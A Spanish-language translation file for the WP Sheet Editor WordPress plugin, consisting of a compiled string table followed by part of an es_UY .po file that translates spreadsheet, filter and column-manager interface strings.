restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-es_UY.po000064400001165603147600365160016735 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_UY\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se 